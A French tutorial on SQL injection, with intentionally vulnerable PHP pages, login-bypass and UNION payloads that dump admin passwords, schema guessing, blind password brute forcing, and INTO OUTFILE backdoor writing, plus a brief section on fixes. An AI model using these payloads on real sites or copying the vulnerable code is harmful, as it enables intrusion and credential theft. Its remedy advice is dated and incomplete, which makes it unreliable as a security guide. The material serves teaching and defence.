Injections Sql-les bases

Les injections SQL font parties des failles Web redoutables, puisqu'elles s'exploitent côté serveur. Elles touchent les sites qui interagissent de manière non sécurisée avec une base de donnée, permettant ainsi à un attaquant de détourner les requêtes come il le souhaite. Nous verrons ici les bases de ce type de faille, et quelques techniques d'injections plus poussées, mais sans rentrer dans le détail des "Blind SQL Injections".

Sommaire

1. Exemple - Principe de base
2. Bypasser un formulaire d'authentification
3. Correction
4. Obtenir des infos - Exemples d'injections plus poussées
    1. Obtenir un mot de passe
5. Autres exemples

1. Exemple - Principe de base

Le principe de base qui explique la présence d'une faille d'injection SQL est très simple. Observons ce code pour comprendre :

```
<!-- recherche.php -->
<html>

<head>
<title>Sans titre</title>

</head>

<body bgcolor="black" text="white" link="yellow" vlink="fuchsia">
<p align="center"><strong>Recherche dans les articles :</strong></p>
<?
if (isset($_POST["rech"]))
{
        $connect = mysql_connect(HOST,USER,PASS);
        mysql_select_db(BASE,$connect);

        $sql = "SELECT id_article, titre, contenu FROM articles WHERE titre LIKE
'%".
        $_POST["rech"]."%' OR contenu LIKE '%".$_POST["rech"]."%'";

        $result = @mysql_query($sql) or die ("Erreur dans le traîtement de la
requête :<br>".$sql);
        $n = mysql_num_rows($result);
        if ($n < 1)
        {
          echo  "<p align='center'>Nous n'avons trouvé aucun résultat pour
\"<b>".
          $_POST["rech"]."</b>\".<br>";
        ?>
        <p align="center"> Vous pouvez relancer une recherche :</p>
<form name="form_rech" method="post" action="recherche.php">
    <p align="center"><input type="text" name="rech" size="12"></p>
    <p align="center"><input type="submit" name="formbutton1"
```

```
value="Rechercher"></p>
</form>

        <?
        }
        else
        {
        ?>
        Nous avons trouvé les résultats suivants :
<p>
        <?
        while($row = mysql_fetch_array($result))
        {
        ?>
         </p>
<table cellpadding="0" cellspacing="0" width="573" align="center">
    <tr>
        <td width="563" height="28" bgcolor="#660000">
            <p align="center"><b><?=$row["titre"]?></b></p>
        </td>
    </tr>
    <tr>
        <td width="563" height="18" bgcolor="#000066">
            <p><?=$row["contenu"]?></p>
        </td>
    </tr>
</table>
<?
 }
?>
<?
 }
 mysql_close($connect);
}
else
{
?>

<p align="center"> Tapez ce que vous voulez rechercher sur le site :</p>
<form name="form_rech" method="post" action="recherche.php">
    <p align="center"><input type="text" name="rech" size="12"></p>
    <p align="center"><input type="submit" name="formbutton1"
value="Rechercher"></p>
</form>

<?
}
?>
</body>
</html>
```

Bien qu'un peu long, ce code montre un exemple complet de page. Quel est son rôle ? C'est un moteur de recherche dans des articles, tout simplement. La vulnérabilité se situe dans le code en rouge. En effet, la requête effectuée est la suivante :

```
$sql = "SELECT id_article, titre, contenu FROM articles WHERE titre
LIKE '%".$_POST["rech"]."%' OR contenu LIKE '%".$_POST["rech"]."%'";
```

En vert se trouve le contenu encadré par des quillements simples ; c'est ce que va rechercher le script dans la table des articles, à l'aide de l'opérateur **LIKE**. En effet, LIKE utilisé avec le caractère '%' permet de chercher du contenu qui "ressemble" à ce qui est tapé par l'utilisateur, car le % est interprété par LIKE comme "n'importe quelle chaîne de caractères". C'est un peu comme une

expression régulière ; si vous recherchez `%un%`, vous pourrez obtenir n'importe quelle chaîne de caractère contenant "un", comme "une", "lune", et "brun".

Mais cet opérateur ne constitue pas une faille. La vulnérabilité est due au fait que l'entrée `$_POST["rech"]` n'est pas filtrée. Car nous pouvons imaginer qu'un utilisateur rentre cette chaîne : `n'importe quoi`. A ce moment là, la requête devient :

```
$sql = "SELECT id_article, titre, contenu FROM articles WHERE titre
LIKE '%n'importe quoi%' OR contenu LIKE '%n'importe quoi%'";
```

Et l'on remarque très vite le problème qui va se poser : une erreur de syntaxe due au guillement, que mysql intermprète comme la fin de la chaîe de caractères. La requête ne sera pas exécutée, et le visiteur obtiendra :

```
Erreur dans le traîtement de la requête :
SELECT id_article, titre, contenu FROM articles WHERE titre
LIKE '%n'importe quoi%' OR contenu LIKE '%n'importe quoi%'
```

Maintenant, imaginons un visiteur plus expérimenté, et qui connaît ce type de faille. Il teste une première fois le script en rentrant "n'importe quoi", le script plante et lui affiche la reqête fautive. Ensuite, voici ce qu'il pourraît rentrer dans le formulaire :

```
a' OR 'a%' = 'a
```

La requête devient donc :

```
SELECT id_article, titre, contenu FROM articles WHERE titre
LIKE '%a' OR 'a%' = 'a%' OR contenu LIKE 'a' OR 'a%' = 'a%'
```

Le script ressortira donc la liste de tous les articles, puisque la condition `'a%' = 'a%'` est toujours réalisée.

Ceci était un exemple de détournement de requête, mais il n'est pas très utile. Cependant, il est tout à fait possible de détourner le script afin d'obtenir des renseignements utiles sur le serveur. C'est ce que nous allons bientôt voir.

2. Bypasser un formulaire d'authentification

Laissons cet exemple de côté et penchons-nous plutôt sur un deuxième :

```
<!-- admin.php -->
<html>

<head>
<title>Sans titre</title>
</head>

<body bgcolor="black" text="white" link="yellow" vlink="fuchsia">
<p align="center"><span style="font-size:14pt;"><b>Page d'administration
</b></span></p>
<p align="center"><?
if (isset($_POST["login"]) && isset ($_POST["pass"]))
{
        $connect = mysql_connect(HOST,USER,PASS);
        mysql_select_db(BASE,$connect);
        $sql = "SELECT login, pass FROM users WHERE login =
'".$_POST["login"]."'
        AND pass = '".$_POST["pass"]."'";
        $result = @mysql_query($sql) or die ("Erreur lors du traitement de la
requête ".$sql);
        if (mysql_num_rows($result) < 1) die ("Login/Pass incorrect !<br>
```

```
        <a href = 'admin.php'>Retour</a>");
?>
<p align="center">Bienvenue ! Vous avez désormais accès à toutes les fonctions
d'administration
du site !
</p>
<p align="center">> Consulter la BDD</p>
<p align="center">> Gérer les articles</p>
<p align="center">> ...</p>
<?
}
else
{?>
<p align="left">Cette page est réservée aux administrateurs ! Si vous êtes n'en
êtes pas un, cliquez <a href="index.php">ici</a> !</p>
<p align="left"> </p>
<form name="formlogin" method="post" action="admin.php">
<p align="center">Entrez votre login / pass :</p>
    <p align="center"> <input type="text" name="login" value="login"></p>
    <p align="center"><input type="password" name="pass" value="pass"></p>
    <p align="center"><input type="submit" name="ok" value="OK"></p>
</form>

<?
}
?>
</body>

</html>
```

Ceci est un exemple très basique de formulaire de zone admin. Et non sécurisé... Mis à part qu'il soit vulnérable à une XSS, il l'est également pour les injections SQL. En effet, si nous rentrons ceci :

```
a' OR 'a'='a
```

La requête en rouge devient

```
$sql = "SELECT login, pass FROM users WHERE login = 'a' OR 'a'='a'
AND pass = 'a' or 'a'='a'";
```

Ainsi, on peut se loguer sans connaître l'utilsiateur et le mot de passe, puisque la consition 'a'='a' est toujours vérifiée.

On se rend donc compte que les injections SQL peuvent devenir très dangereuses si l'administrateur a une politique de sécurité négligente, ou s'il n'en a pas du tout...

3. Correction

Si vous êtes webmaster, cela vous intéressera sûrement de savoir comment corriger ce type de failles. En réalité, c'est très simple, encore faut-il prendre le temps de se documenter à ce sujet...

Le premier réflexe que l'on peut avoir est de se dire "les guillements sont à proscrire, ce sont eux les causes de ce type de failles", et donc de coder un script qui enlève tous les guillements ou qui les échappe en rajouttant un antishash devant. On peut donc utiliser la fonction addslashes() ou bien utiliser les options magic_quotes_gpc et magic_quotes_runtime qui le font en parmanence pour nous. Ainsi, ce code est sécurisé :

```
function secure($texte){
        return mysql_real_escape_string($texte);
}
```

```
/*
...
*/
$sql = "SELECT id_article, titre, contenu FROM articles WHERE titre
LIKE '%".secure($_POST["rech"])."%' OR contenu LIKE
'%".secure($_POST["rech"])."%'";
```

La fonction que nous avons codé, secure(), ajouttera des antislashes si nécessaire devant tous les ', ce qui les rendra interprétés par mysql non en tant que fin de chaîne mais comme des simples caractères. Elle utilise la fonction mysql_real_escape_string(), conçue spécialement pour éviter ce type de failles.

Mais le problème de ce genre de solution apparaît très clairement lorsque nous voulons effectuer des requêtes faisant intervenir des nombres :

```
$sql = "SELECT id_article, titre, contenu FROM articles
WHERE id_article = ".$_POST["idarticle"]."";
```

En effet, ici, il sera toujours possible de faire des injections SQL car il n'y a pas de guillemets encadrant le nombre. On peu très bien taper `0 OR 1=1` afin de lister tous les articles. Même si c'est inutile, cela permet quand même de prouver l'existence de la faille.

On en conclut que même si une fonction de sécurisation des guillements est présente, qu'elle soit automatique ou non (magic_quotes), il y a toujours un risque. Pour l'éliminer définitivement, il faut donc faire :

```
$sql = "SELECT id_article, titre, contenu FROM articles
WHERE id_article = '".secure($_POST["idarticle"])."'";
```

On a rajouté des guillements simples encadrant le nombre, ce qui ne gène en rien Mysql. Et cela rend le script sécurisé...

Pour résumer, la solution pour se protéger des injections SQL est simple : il ne faut jamais faire confiance à l'utilisateur. Ne jamais le sous-estimer et penser qu'il n'est pas informé. Il faut alors filtrer tout ce que peut rentrer l'utilisateur avant de faire quoi que ce soit.

De plus, vous ne devez jamais laisser paraître les erreurs SQL sur votre site, car une personne malveillante peut faire planter le script volontairement afin de recueuiillir des informations sur le nom des champs et des tables du serveur. C'est pour cela qu'il vaut mieux retourner un code d'erreur si une fonction échoue, plutôt que d'affiacher la requête. D'ailleurs, ici, cet affichage provoque une vulnérabilité de type XSS, car l'utilisateur malin qui injectera du javascript dans le champ fera d'une part échouer l'interaction avec la base, et d'autre part afficher son code...

4. Obtenir des infos - Exemples d'injections plus poussées

Maintenant, nous allons introduire l'exploitation de ces failles de manière avancée à travers quelques exemples. Ne perdez pas de vue le fait que ces exemples ne sont pas des cas réels ; ici, nous voulons juste montrer l'étendue de ces failles. Dans un autre articles, les "Blind Injections SQL", nous verrons concrètement comment l'on se débrouille en réalité. Je vous conseille donc de vous repporter à cet article pour obtenir des cas plus concrets.

4.i. Obtenir un mot de passe

Tout d'abord, reprenons le premier exemple, le moteur de recherche. Ce script très mal conçu affiche la requête lorsqu'il plante, donc nous allons tirer parti de cet affichage pour noter le nom des tables et des champs. Pour le deuxième exemple, nous pouvons aussi faire plante rle script en

mettant un guillement, ce qui nous révèle le nom de la table "membres", et des deux champs "login" et "pass", assez explicites. A présent, essayons de récupérer le login et le pass de l'admin. Nous voulons *afficher* ces informations. Il nous faut donc trouver un script sur le site vulnérable qui en affiche. Par exemple, le moteur de recherche affiche les articles. A l'attaque ! Voici ce que nous pouvons rentrer dans le champ :

```
' union all select id_article, pass as titre, login as contenu from
users,articles #
```

Notez que UNION n'est disponible que depuis MySQL 4. La requête devient :

```
$sql = "SELECT id_article, titre, contenu FROM articles WHERE titre LIKE '%'
union select id_article, pass as titre, login as contenu
from users,articles
#%' OR contenu LIKE '%' union select id_article, pass as titre, login as contenu
from users,articles #%'";
```

Le # représente pour Mysql un commentaire ! Remarquez que l'on peut aussi utiliser '/*'. Par conséquent, tout ce qui est après sera ignoré. La requête sélectionne donc tous les articles et ajoute (rôle du mot clé UNION) tous ces résultats à la liste des administrateurs et leur mot de passe. Notez l'astuce consistant à renomer à l'aide de AS les champs afin de réussir l'UNION. De plus, si vous croisez une table A de n champs avec une table B, B devra forcément avoir elle aussi n champs, *qui devront avoir le même type*. C'est pour cela que l'on sélectionne trois champs dans chaque partie de la requête. Cela peut donc produire cet affichage :

```
Joyeux Noël
Je vous souhaite un joyeux Noël est une très bonne année !

Version 3.8.2 béta 5
Le site vient d'être mis à jour ! Des nouveautés font leur apparitions !

123456
admin

pass2
admin2
```

On a donc les mots de passe des deux admins, et le comble c'est qu'ils sont codés en clair !

4.ii. Autres exemples

Imaginons maintenant que nous disposons du nom d'une table et d'un champ dans cette table. Nous voulons obtenir le nom d'un champ et d'une autre table où l'on pourrait trouver des informations utiles.

La méthode à utiliser est de la divination pure et dure ;-). On peut essayer ainsi les tables "articles", "membres", "admin", "users", etc. et les champs corespondants "login", "password", "pass", etc. Mais comment tester justement ces champs et ces noms de tables ? Nous allons utiliser par exemple cette requête :

Deviner le nom d'une table

```
SELECT id_article,titre,contenu FROM articles WHERE titre
LIKE '%' UNION SELECT id_article, titre, contenu FROM articles,membres
#%' OR contenu LIKE '%...%'
```

En blanc, la requête initiale, en vert, ce que l'on rentre et en bleu le commentaire. On remarque que l'on n'a fait que dupliquer la requête en ajoutant juste `,membres` dans le nom ndes tables à interroger. La requête va donc planter si jamais "membres" n'est pas le nom d'une table existante, et

afficher des articles dans le cas contraire. Il faut donc remplacer "membres" par le nom de la table à tester.

Encore une fois, je le rappelle, tous ces exemples ne sont pas ceux que l'on utiliserait dans la réalité puisqu'ils necessitent de connaître pas mal de renseignements sur la base. Repportez aux Blind SQL Injections.

Deviner le nom d'un champ dans une table connue

Nous connaissons le nom de la table (membres), nous voulons savoir le nom des champ. Nous testons :

```
SELECT id_article,titre,contenu FROM articles WHERE titre LIKE
'%' UNION SELECT id_article, titre, champatester FROM articles,membres #...'
```

"champatester" est le champ dont nous voulons vérifier la présence. Si la requête réussit, il existe, sinon, il n'existe pas.

Deviner un mot de passe

Dans certains cas il arrive que le contenu d'un champ soit accesible mais non affiché. C'est le cas par exemple de notre formulaire de zone admin : on ne peut pas directement afficher le mot de passe. Il faut donc procéder par essais successifs :

```
SELECT * FROM `membres` WHERE login = 'admin' AND pass LIKE '%a'
```

A croiser bien sûr avec une injection SQL. Si la session d'admin s'ouvre, c'est que son mot de passe commence par un 'a'. Sinon, on essaye avec b, puis ainsi de suite. On remonte les caractères jusqu'à trouver le mot de passe complet.

Si l'on veut connaître le nombre de caractères du mot de passe, on peut utiliser l'opérateur LENGTH() comme ceci :

```
SELECT * FROM membres WHERE login='admin' AND LENGTH(pass)=4# ...'
```

Les méthodes que nous venons de voir se font par bruteforcing, puisqu'elles ne nous permettent pas d'obtenir les informations de manière directe, mais simplement de savoir si l'on a bon ou faux. L'opérateur AS est très pratiques dans ces situations puisqu'il permet de renomer un champ temporairement pour la requête, donc de croiser deux champs différents.

SHOW et GRANT : obtenir tout ce que l'on veut (?)

Les deux opérateurs ultimes dont nous aurions besoin sont GRANT et SHOW. Ils permettent de lister la structure complète de la base, des tables, lister les utilisateurs, leurs privilèges et leur mot de passe. Le seul problème majeur est qu'il est impossible de les utiliser en les croisant avec SELECT. Impossible donc d'y avoir accès dans les exemples que nous venons de voir.

Les petits malins auront envie d'utiliser le point virgule afin d'effectuer deux requêtes l'une après l'autre, mais un autre problème nous en empêche : mysql_query(). Cette fonction interagit entre PHP et MySQL mais ne peut permettre que d'effectuer UNE SEULE requête à la fois. Le point virgule est donc à bannir. Et GRANT/SHOW par la même occasion... sauf si c'est une autre fonction qui est utilsée, et qui permet ce genre de choses !

Ainsi, vous sere peut-être déçu mais il est impossible d'utiliser un opérateur tel que UPDATE, DROP, ou INSERT si la requête commence par SELECT. A moins, comme nous l'avons dit, que la fonction utilisée le permette.

Obtenir la version du serveur

Nous pouvons utiliser les variables spécifiques à chaque serveur SQL. Pour MYSQL, la variable **`@@version`** contient le nom de la version du serveur. Ainsi, `SELECT @@version` affiche cette

version. Il faut bien entendu exploiter une injection afin de pouvoir utiliser cette commande. Pour les autres serveurs, c'est une autre variable. Il suffit de chercher un peu dans les documentations pour les trouver.

Créer un fichier

La directive **`INTO OUTFILE [nom_fichier]`** croisée avec SELECT permet de créer un fichier contenant les informations de SELECT demandées. On peut donc imaginer un scénario où vous exploitez tout d'abord une injection SQL se situant dans une requête INSERT ce qui vous permet d'écrire du code dans la base, puis vous exploitez une deuxième injection dans SELECT afin de créer un fichier contenant le code que vous avez écrit dans la base. Si c'était du code PHP, une backdoor par exemple, ou un simple script d'une ligne contenant une faille Include, vous obtiendrez un accès supplémentaire sur le serveur.

Cependant, il faut déja obtenir l'url vers laquelle écrire le fichier, car si vous écrivez à la racine du serveur, cela peut d'une part sembler louche, d'autre part ne pas être accessible sur le serveur... En effet, si votre fichier écrit se trouve avant le répertoire "www" d'Apache, c'est fichu...

Utiliser un fichier pour effectuer des opérations

Il est possible d'utiliser **`LOAD DATA INFILE [nom_fichier]`** pour lire un fichier et effectuer les opérations SQL décries à l'intérieur. C'est le complément de INTO OUTFILE. Le seul problème, c'est que LOAD n'est pas compatible avec select, donc inutilisable dans la grande majorité des cas.

Conclusion

Vous l'aure compris, les injectiosn SQL dépassent complétement le cas d'école avec `' or ''='`. Il y en a des tonnes, plus ou moins adaptées à ce que l'on veut faire. Les seuls limites sont celles du langage SQL, qui nous empêche parfois de croiser des requêtes pourtant bien pratiques... Dans un second article sur les injections SQL dites "blind", ou "à l'aveuglette", nous exploiterons à fond le langage SQL afin de faire révéler aux scripts vulnérables des informations cruciales.

Le but de cet article n'était bien entendu pas d'inciter les gens à exploiter des failles sur des sites existants, mais surtout de comprendre le fonctionnement de ce type de failles, afin de mieux savoir s'en protéger, par exemple.